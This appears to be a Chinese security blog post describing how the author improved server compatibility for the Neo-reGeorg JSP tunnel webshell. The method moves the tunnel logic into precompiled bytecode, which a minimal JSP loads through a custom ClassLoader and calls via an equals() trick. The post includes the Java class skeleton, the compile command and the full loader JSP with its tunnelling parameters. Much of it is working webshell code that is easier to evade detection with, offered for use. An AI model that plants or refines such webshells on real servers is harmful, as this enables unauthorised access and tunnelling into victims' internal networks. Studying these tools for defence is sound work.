通过加载class提高Neo-reGeorg兼容性

安全 PRO 稿源：回忆如飘雪 2021-11-25 05:46

0x01 背景

一大早就看到L-codes师傅发消息说，Neo-reGeorg jsp服务端又出现问题了，印象里已经不是一两次了。大部分都是兼容性问题，这次也不例外。

在tomcat 5.5.9下的报错

是时候设计一个一劳永逸的方案了。

0x02 分析原因

我们知道jsp从被访问到运行，经历如下阶段。

jsp执行流程

本案例中发现tomcat work目录下已经存在了tunnel_jsp.java,但是没有tunnel_jsp.class，说明阶段1已经过。结合页面报错信息，在2阶段时Tomcat内置的编译器JDTCompiler，编译报错了。

检查tunnel_jsp.java代码并没有语法错误，尝试使用javac编译，编译成功！看来JDTCompiler与javac实现逻辑并不同，而且没有javac强大。

javac可以编译通过

编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个.jsp的兼容，无非就是让它在各个中间件下成功变成一个.class。而这个过程与具体中间件的jsp转换器的解析机制，java编译器的编译机制和servlet-api的版本息息相关。

那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码，然后jsp来加载和调用，来提高这个过程的成功率呢？。总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码，同时尽可能的减少jsp代码，少用api少用语法糖少用特性。

0x03 编码实现

我们先来移植服务端模版代码为java代码。直接新建一个NeoreGeorg.java，将jsp中的方法直接copy,主体代码的移植需要注意2个问题。

第一、参数提炼问题。我们需要把模版变化的地方，提取出来作为参数，比如X-CMD这样的指令，POST request read filed这样的提示，Neo-reGorg需要通过随机替换它们实现流量加密。

第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来，但是这样要多写些反射代码。本着jsp代码越少越好原则，使用每个类都有的equal(java.lang.Object)方法。

// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/NeoreGeorg.java

public class NeoreGeorg {
    private char[] en;
    private  byte[] de;
    private int HTTPCODE;
    private int READBUF;
    private int MAXREADSIZE;

    @Override
    public boolean equals(Object obj) {
            // 接收参数
            Object[] args = (Object[]) obj;
            HttpServletRequest request = (HttpServletRequest) args[0];
            HttpServletResponse response = (HttpServletResponse) args[1];
            en = (char[])args[2];
            de = (byte[])args[3];
            HTTPCODE = (Integer) args[4];
            READBUF = (Integer) args[5];
            MAXREADSIZE = (Integer) args[6];

            ServletContext application = request.getSession().getServletContext();
            Writer out = response.getWriter();
            ......
            
            // Neo-reGorg主要流程代码。
   }
   
   ....
   //其他方法照抄
   ....
}

为了兼容更多的jdk版本我们这里选择使用1.5编译，同时为了class体积更小，可以使用-g:none去掉调试信息。

1
javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java

jsp部分很简单，定义一个classloader用于加载class，然后将该class newInstance进行调用。有二个点可以简单讲讲。

第一，class字节码的存储方式问题。本着少用api的原则，我直接用byte数组存储。当然如果字节码太多，可能会有The code of method _jspService(...) is exceeding the 65535 bytes limit报错问题，推荐用hex编码解决。

第二，全局存储class对象问题。推荐使用application对象，而不是session对象进行存储，否则遇到负载的情况就麻烦了。

// https://github.com/L-codes/Neo-reGeorg/blob/46ecb6f106/templates/tunnel.jsp
<%@ page import="sun.misc.BASE64Decoder" %>
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }

        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
%>

<%
    Object[] args = new Object[]{
            request, //0
            response, //1
            "BASE64 CHARSLIST".toCharArray(), //2
            new byte[]{BASE64 ARRAYLIST},//3
            new Integer(HTTPCODE),//4
            new Integer(READBUF),//5
            new Integer(MAXREADSIZE),//6
            "X-STATUS",//7
            "X-ERROR",//8
            "X-CMD",//9
            "X-TARGET",//10
            "X-REDIRECTURL",//11
            "FAIL",//12
            "Georg says, 'All seems fine'",//13
            "Failed creating socket",//14
            "Failed connecting to target",//15
            "OK",//16
            "Failed writing socket",//17
            "CONNECT",//18
            "DISCONNECT",//19
            "READ",//20
            "FORWARD",//21
            "Failed reading from socket",//22
            "No more running, close now",//23
            "POST request read filed",//24
            "Intranet forwarding failed"//25
    };


    if(application.getAttribute("u") != null){
        application.getAttribute("u").equals(args);
    }else{
        byte[] classBytes = new byte[]{.....} // NeoreGeorg.class字节码
        Class clazz = new U(this.getClass().getClassLoader()).g(classBytes);
        application.setAttribute("u",clazz.newInstance());
    }
%>

经过测试在各个中间件下稳定运行，顺手给L-codes师傅一个pr。